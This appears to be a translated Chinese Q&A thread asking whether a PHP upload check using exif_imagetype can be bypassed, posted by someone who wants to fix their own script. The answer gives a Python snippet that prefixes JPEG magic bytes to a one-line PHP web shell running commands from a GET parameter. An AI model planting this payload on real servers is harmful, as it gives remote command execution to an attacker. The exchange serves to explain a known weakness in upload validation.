php - 如何绕过exif_imagetype函数上传php代码？

Question

我读到 exif_imagetype 是一个安全函数，可以避免上传 php 或其他 shell 代码而不是图像文件。最近看了另一篇文章，我们可以通过一些简单的方法绕过这个安全功能。因此，如果有人知道绕过的确切方法，您能否分享您的答案。

我在我的 php 脚本中使用了以下代码，所以我想知道它是否存在漏洞并针对相同的问题进行补救

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
   { 
    echo "File is not an image";
   }

Answer 1

根据@jake_the_snake 先生的回答，我还会在 Python 中包含一个快速代码示例

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()